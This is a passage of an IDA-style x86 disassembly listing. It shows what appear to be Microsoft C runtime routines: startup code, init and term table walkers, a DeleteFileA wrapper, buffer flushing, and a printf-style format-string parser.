		cmp	esi, eax
		jb	short loc_417C86


loc_417C73:				; CODE XREF: sub_417C27+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_417C7B
		call	eax


loc_417C7B:				; CODE XREF: sub_417C27+50j
		sub	esi, 4
		cmp	esi, ds:dword_4CA71C
		jnb	short loc_417C73


loc_417C86:				; CODE XREF: sub_417C27+4Aj
		pop	esi


loc_417C87:				; CODE XREF: sub_417C27+3Cj
		push	offset dword_42402C
		push	offset dword_424024
		call	sub_417CC0
		pop	ecx
		pop	ecx


loc_417C98:				; CODE XREF: sub_417C27+33j
		push	offset dword_424038
		push	offset dword_424030
		call	sub_417CC0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_417CBE
		push	[esp+4+arg_0]
		mov	ds:dword_4C90CC, edi
		call	ds:off_42212C


loc_417CBE:				; CODE XREF: sub_417C27+85j
		pop	edi
		retn
sub_417C27	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CC0	proc near		; CODE XREF: sub_417BD8+15p
					; sub_417BD8+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_417CC5:				; CODE XREF: sub_417CC0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_417CD8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_417CD3
		call	eax


loc_417CD3:				; CODE XREF: sub_417CC0+Fj
		add	esi, 4
		jmp	short loc_417CC5
; ---------------------------------------------------------------------------


loc_417CD8:				; CODE XREF: sub_417CC0+9j
		pop	esi
		retn
sub_417CC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CDA	proc near		; CODE XREF: sub_40D2E0+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_42213C	; DeleteFileA
		test	eax, eax
		jnz	short loc_417CF0
		call	ds:dword_42206C	; RtlGetLastWin32Error
		jmp	short loc_417CF2
; ---------------------------------------------------------------------------


loc_417CF0:				; CODE XREF: sub_417CDA+Cj
		xor	eax, eax


loc_417CF2:				; CODE XREF: sub_417CDA+14j
		test	eax, eax
		jz	short loc_417D01
		push	eax
		call	sub_41D064
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417D01:				; CODE XREF: sub_417CDA+1Aj
		xor	eax, eax
		retn
sub_417CDA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_422698
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_422188	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_4C909C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_4C9098, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_4C9094, ecx
		shr	eax, 10h
		mov	ds:dword_4C9090, eax
		xor	esi, esi
		push	esi
		call	sub_418E04
		pop	ecx
		test	eax, eax
		jnz	short loc_417D70
		push	1Ch
		call	sub_417E1F
		pop	ecx


loc_417D70:				; CODE XREF: _0:00417D66j
		mov	[ebp-4], esi
		call	sub_41D6DF
		call	ds:dword_422184	; GetCommandLineA
		mov	ds:dword_4CA70C, eax
		call	sub_41D5AD
		mov	ds:dword_4C90D0, eax
		call	sub_41D360
		call	sub_41D2A7
		call	sub_417BD8
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	ds:dword_422180	; GetStartupInfoA
		call	sub_41D24F
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_417DBD
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_417DC0
; ---------------------------------------------------------------------------


loc_417DBD:				; CODE XREF: _0:00417DB5j
		push	0Ah
		pop	eax


loc_417DC0:				; CODE XREF: _0:00417DBBj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	ds:off_4220E0
		push	eax
		call	sub_40CB17
		mov	[ebp-60h], eax
		push	eax
		call	sub_417C05
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41D0CB
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_417C16

; =============== S U B	R O U T	I N E =======================================



sub_417DFA	proc near		; CODE XREF: sub_416832+16p
					; sub_41D2A7+4Ep ...

arg_0		= dword	ptr  4

		cmp	ds:dword_4C90D8, 1
		jnz	short loc_417E08
		call	sub_41D96C


loc_417E08:				; CODE XREF: sub_417DFA+7j
		push	[esp+arg_0]
		call	sub_41D9A5
		push	0FFh
		call	ds:off_42F350
		pop	ecx
		pop	ecx
		retn
sub_417DFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E1F	proc near		; CODE XREF: _0:00417D6Ap

arg_0		= dword	ptr  4

		cmp	ds:dword_4C90D8, 1
		jnz	short loc_417E2D
		call	sub_41D96C


loc_417E2D:				; CODE XREF: sub_417E1F+7j
		push	[esp+arg_0]
		call	sub_41D9A5
		pop	ecx
		push	0FFh
		call	ds:off_42212C
		retn
sub_417E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E43	proc near		; CODE XREF: sub_415480+46p
					; sub_4159FA+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_417F4C
		test	al, 40h
		jnz	loc_417F4C
		test	al, 1
		jz	short loc_417E7B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_417F4C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_417E7B:				; CODE XREF: sub_417E43+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417EB5
		cmp	esi, offset dword_431A98
		jz	short loc_417EA3
		cmp	esi, offset dword_431AB8
		jnz	short loc_417EAE


loc_417EA3:				; CODE XREF: sub_417E43+56j
		push	ebx
		call	sub_41DB3C
		test	eax, eax
		pop	ecx
		jnz	short loc_417EB5


loc_417EAE:				; CODE XREF: sub_417E43+5Ej
		push	esi
		call	sub_41DAF8
		pop	ecx


loc_417EB5:				; CODE XREF: sub_417E43+4Ej
					; sub_417E43+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_417F22
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_417EE5
		push	edi
		push	eax
		push	ebx
		call	sub_41CEB7
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_417F18
; ---------------------------------------------------------------------------


loc_417EE5:				; CODE XREF: sub_417E43+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417F00
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4CA3C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_417F05
; ---------------------------------------------------------------------------


loc_417F00:				; CODE XREF: sub_417E43+A5j
		mov	eax, offset dword_4319E0


loc_417F05:				; CODE XREF: sub_417E43+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_417F18
		push	2
		push	0
		push	ebx
		call	sub_41C637
		add	esp, 0Ch


loc_417F18:				; CODE XREF: sub_417E43+A0j
					; sub_417E43+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_417F36
; ---------------------------------------------------------------------------


loc_417F22:				; CODE XREF: sub_417E43+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41CEB7
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_417F36:				; CODE XREF: sub_417E43+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_417F42
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_417F51
; ---------------------------------------------------------------------------


loc_417F42:				; CODE XREF: sub_417E43+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_417F54
; ---------------------------------------------------------------------------


loc_417F4C:				; CODE XREF: sub_417E43+10j
					; sub_417E43+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_417F51:				; CODE XREF: sub_417E43+FDj
		or	eax, 0FFFFFFFFh


loc_417F54:				; CODE XREF: sub_417E43+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417E43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F58	proc near		; CODE XREF: sub_415480+29p
					; sub_4159FA+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_418671
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_417F8C
; ---------------------------------------------------------------------------


loc_417F84:				; CODE XREF: sub_417F58+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_417F8C:				; CODE XREF: sub_417F58+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_418671
		cmp	bl, 20h
		jl	short loc_417FAD
		cmp	bl, 78h
		jg	short loc_417FAD
		movsx	eax, bl
		mov	al, [eax+422684h]
		and	eax, 0Fh
		jmp	short loc_417FAF
; ---------------------------------------------------------------------------


loc_417FAD:				; CODE XREF: sub_417F58+40j
					; sub_417F58+45j
		xor	eax, eax


loc_417FAF:				; CODE XREF: sub_417F58+53j
		movsx	eax, ds:byte_4226A4[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_418660	; default
		jmp	off_418679[eax*4] ; switch jump


loc_417FCD:				; DATA XREF: _0:off_418679o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00417FC6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_417FE8:				; CODE XREF: sub_417F58+6Ej
					; DATA XREF: _0:off_418679o
		movsx	eax, bl		; jumptable 00417FC6 case 2
		sub	eax, 20h
		jz	short loc_41802B
		sub	eax, 3
		jz	short loc_418022
		sub	eax, 8
		jz	short loc_418019
		dec	eax
		dec	eax
		jz	short loc_418010
		sub	eax, 3
		jnz	loc_418660	; default
		or	[ebp+var_4], 8
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_418010:				; CODE XREF: sub_417F58+A4j
		or	[ebp+var_4], 4
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_418019:				; CODE XREF: sub_417F58+A0j
		or	[ebp+var_4], 1
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_418022:				; CODE XREF: sub_417F58+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_41802B:				; CODE XREF: sub_417F58+96j
		or	[ebp+var_4], 2
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_418034:				; CODE XREF: sub_417F58+6Ej
					; DATA XREF: _0:off_418679o
		cmp	bl, 2Ah		; jumptable 00417FC6 case 3
		jnz	short loc_41805C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418737
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_418660	; default
		or	[ebp+var_4], 4
		neg	eax


loc_418054:				; CODE XREF: sub_417F58+111j
		mov	[ebp+var_20], eax
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_41805C:				; CODE XREF: sub_417F58+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_418054
; ---------------------------------------------------------------------------


loc_41806B:				; CODE XREF: sub_417F58+6Ej
					; DATA XREF: _0:off_418679o
		mov	[ebp+var_10], edx ; jumptable 00417FC6 case 4
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_418073:				; CODE XREF: sub_417F58+6Ej
					; DATA XREF: _0:off_418679o
		cmp	bl, 2Ah		; jumptable 00417FC6 case 5
		jnz	short loc_418096
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418737
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_418660	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_418096:				; CODE XREF: sub_417F58+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_4180A8:				; CODE XREF: sub_417F58+6Ej
					; DATA XREF: _0:off_418679o
		cmp	bl, 49h		; jumptable 00417FC6 case 6
		jz	short loc_4180DB
		cmp	bl, 68h
		jz	short loc_4180D2
		cmp	bl, 6Ch
		jz	short loc_4180C9
		cmp	bl, 77h
		jnz	loc_418660	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_4180C9:				; CODE XREF: sub_417F58+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_4180D2:				; CODE XREF: sub_417F58+158j
		or	[ebp+var_4], 20h
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_4180DB:				; CODE XREF: sub_417F58+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4180F4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4180F4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_4180F4:				; CODE XREF: sub_417F58+186j
					; sub_417F58+18Cj
		mov	[ebp+var_30], edx


loc_4180F7:				; CODE XREF: sub_417F58+6Ej
					; DATA XREF: _0:off_418679o
		mov	ecx, ds:off_42F360 ; jumptable 00417FC6	case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_418123
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_418699
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_418123:				; CODE XREF: sub_417F58+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_418699
		add	esp, 0Ch
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_41813B:				; CODE XREF: sub_417F58+6Ej
					; DATA XREF: _0:off_418679o
		movsx	eax, bl		; jumptable 00417FC6 case 7
		cmp	eax, 67h
		jg	loc_418363
		cmp	eax, 65h
		jge	loc_4181E6
		cmp	eax, 58h
		jg	loc_418244
		jz	loc_4183D7
		sub	eax, 43h
		jz	loc_418207
		dec	eax
		dec	eax
		jz	short loc_4181DC
		dec	eax
		dec	eax
		jz	short loc_4181DC
		sub	eax, 0Ch
		jnz	loc_418562
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_418185
		or	byte ptr [ebp+var_4+1],	8


loc_418185:				; CODE XREF: sub_417F58+227j
					; sub_417F58+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418192
		mov	esi, 7FFFFFFFh


loc_418192:				; CODE XREF: sub_417F58+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418737
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_4183AB
		test	ecx, ecx
		jnz	short loc_4181BA
		mov	ecx, ds:off_42F35C
		mov	[ebp+var_8], ecx


loc_4181BA:				; CODE XREF: sub_417F58+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4181C3:				; CODE XREF: sub_417F58+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_4183A2
		cmp	word ptr [eax],	0
		jz	loc_4183A2
		inc	eax
		inc	eax
		jmp	short loc_4181C3
; ---------------------------------------------------------------------------


loc_4181DC:				; CODE XREF: sub_417F58+212j
					; sub_417F58+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4181E6:				; CODE XREF: sub_417F58+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4182CA
		mov	[ebp+var_10], 6
		jmp	loc_4182D8
; ---------------------------------------------------------------------------


loc_418207:				; CODE XREF: sub_417F58+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_418213
		or	byte ptr [ebp+var_4+1],	8


loc_418213:				; CODE XREF: sub_417F58+2B5j
					; sub_417F58+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41825A
		call	sub_418754
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41DC1B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41826D
		mov	[ebp+var_28], 1
		jmp	short loc_41826D
; ---------------------------------------------------------------------------


loc_418244:				; CODE XREF: sub_417F58+1FBj
		sub	eax, 5Ah
		jz	short loc_41827B
		sub	eax, 9
		jz	short loc_418213
		dec	eax
		jz	loc_41843D
		jmp	loc_418562
; ---------------------------------------------------------------------------


loc_41825A:				; CODE XREF: sub_417F58+2C5j
		call	sub_418737
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41826D:				; CODE XREF: sub_417F58+2E1j
					; sub_417F58+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_418562
; ---------------------------------------------------------------------------


loc_41827B:				; CODE XREF: sub_417F58+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418737
		test	eax, eax
		pop	ecx
		jz	short loc_4182BC
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4182BC
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4182AD
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_418562
; ---------------------------------------------------------------------------


loc_4182AD:				; CODE XREF: sub_417F58+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41855F
; ---------------------------------------------------------------------------


loc_4182BC:				; CODE XREF: sub_417F58+32Fj
					; sub_417F58+336j
		mov	eax, ds:off_42F358
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_418358
; ---------------------------------------------------------------------------


loc_4182CA:				; CODE XREF: sub_417F58+29Dj
		jnz	short loc_4182D8
		cmp	bl, 67h
		jnz	short loc_4182D8
		mov	[ebp+var_10], 1


loc_4182D8:				; CODE XREF: sub_417F58+2AAj
					; sub_417F58:loc_4182CAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_4316C0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41832A
		cmp	[ebp+var_10], 0
		jnz	short loc_41832A
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_4316CC
		pop	ecx


loc_41832A:				; CODE XREF: sub_417F58+3BCj
					; sub_417F58+3C2j
		cmp	bl, 67h
		jnz	short loc_418341
		test	esi, esi
		jnz	short loc_418341
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_4316C4
		pop	ecx


loc_418341:				; CODE XREF: sub_417F58+3D5j
					; sub_417F58+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_418357
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_418357:				; CODE XREF: sub_417F58+3F0j
		push	edi


loc_418358:				; CODE XREF: sub_417F58+36Dj
		call	sub_415C80
		pop	ecx
		jmp	loc_41855F
; ---------------------------------------------------------------------------


loc_418363:				; CODE XREF: sub_417F58+1E9j
		sub	eax, 69h
		jz	loc_41843D
		sub	eax, 5
		jz	loc_418413
		dec	eax
		jz	loc_418400
		dec	eax
		jz	short loc_4183D0
		sub	eax, 3
		jz	loc_418185
		dec	eax
		dec	eax
		jz	loc_418441
		sub	eax, 3
		jnz	loc_418562
		mov	[ebp+var_2C], 27h
		jmp	short loc_4183DE
; ---------------------------------------------------------------------------


loc_4183A2:				; CODE XREF: sub_417F58+270j
					; sub_417F58+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41855F
; ---------------------------------------------------------------------------


loc_4183AB:				; CODE XREF: sub_417F58+24Fj
		test	ecx, ecx
		jnz	short loc_4183B8
		mov	ecx, ds:off_42F358
		mov	[ebp+var_8], ecx


loc_4183B8:				; CODE XREF: sub_417F58+455j
		mov	eax, ecx


loc_4183BA:				; CODE XREF: sub_417F58+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4183C9
		cmp	byte ptr [eax],	0
		jz	short loc_4183C9
		inc	eax
		jmp	short loc_4183BA
; ---------------------------------------------------------------------------


loc_4183C9:				; CODE XREF: sub_417F58+467j
					; sub_417F58+46Cj
		sub	eax, ecx
		jmp	loc_41855F
; ---------------------------------------------------------------------------


loc_4183D0:				; CODE XREF: sub_417F58+425j
		mov	[ebp+var_10], 8


loc_4183D7:				; CODE XREF: sub_417F58+201j
		mov	[ebp+var_2C], 7


loc_4183DE:				; CODE XREF: sub_417F58+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_418448
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_418448
; ---------------------------------------------------------------------------


loc_418400:				; CODE XREF: sub_417F58+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_418448
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_418448
; ---------------------------------------------------------------------------


loc_418413:				; CODE XREF: sub_417F58+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418737
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41842C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_418431
; ---------------------------------------------------------------------------


loc_41842C:				; CODE XREF: sub_417F58+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_418431:				; CODE XREF: sub_417F58+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_418660	; default
; ---------------------------------------------------------------------------


loc_41843D:				; CODE XREF: sub_417F58+2F7j
					; sub_417F58+40Ej
		or	[ebp+var_4], 40h


loc_418441:				; CODE XREF: sub_417F58+432j
		mov	[ebp+var_C], 0Ah


loc_418448:				; CODE XREF: sub_417F58+491j
					; sub_417F58+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41845A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418744
		pop	ecx
		jmp	short loc_41849B
; ---------------------------------------------------------------------------


loc_41845A:				; CODE XREF: sub_417F58+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_418481
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_418476
		call	sub_418737
		pop	ecx
		movsx	eax, ax


loc_418473:				; CODE XREF: sub_417F58+527j
					; sub_417F58+539j
		cdq
		jmp	short loc_41849B
; ---------------------------------------------------------------------------


loc_418476:				; CODE XREF: sub_417F58+510j
		call	sub_418737
		pop	ecx
		movzx	eax, ax
		jmp	short loc_418473
; ---------------------------------------------------------------------------


loc_418481:				; CODE XREF: sub_417F58+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_418493
		call	sub_418737
		pop	ecx
		jmp	short loc_418473
; ---------------------------------------------------------------------------


loc_418493:				; CODE XREF: sub_417F58+531j
		call	sub_418737
		pop	ecx
		xor	edx, edx


loc_41849B:				; CODE XREF: sub_417F58+500j
					; sub_417F58+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4184BC
		test	edx, edx
		jg	short loc_4184BC
		jl	short loc_4184AB
		test	eax, eax
		jnb	short loc_4184BC


loc_4184AB:				; CODE XREF: sub_417F58+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4184C0
; ---------------------------------------------------------------------------


loc_4184BC:				; CODE XREF: sub_417F58+547j
					; sub_417F58+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4184C0:				; CODE XREF: sub_417F58+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4184C9
		and	edi, 0


loc_4184C9:				; CODE XREF: sub_417F58+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4184D8
		mov	[ebp+var_10], 1
		jmp	short loc_4184DC
; ---------------------------------------------------------------------------


loc_4184D8:				; CODE XREF: sub_417F58+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4184DC:				; CODE XREF: sub_417F58+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4184E6
		and	[ebp+var_1C], 0


loc_4184E6:				; CODE XREF: sub_417F58+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4184EC:				; CODE XREF: sub_417F58+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4184FC
		mov	eax, esi
		or	eax, edi
		jz	short loc_418537


loc_4184FC:				; CODE XREF: sub_417F58+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4172F0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_417370
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41852D
		add	ebx, [ebp+var_2C]


loc_41852D:				; CODE XREF: sub_417F58+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4184EC
; ---------------------------------------------------------------------------


loc_418537:				; CODE XREF: sub_417F58+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_418562
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_418555
		test	eax, eax
		jnz	short loc_418562


loc_418555:				; CODE XREF: sub_417F58+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41855F:				; CODE XREF: sub_417F58+35Fj
					; sub_417F58+406j ...
		mov	[ebp+var_C], eax


loc_418562:				; CODE XREF: sub_417F58+21Bj
					; sub_417F58+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_418660	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41859A
		test	bh, 1
		jz	short loc_41857F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_418593
; ---------------------------------------------------------------------------


loc_41857F:				; CODE XREF: sub_417F58+61Fj
		test	bl, 1
		jz	short loc_41858A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_418593
; ---------------------------------------------------------------------------

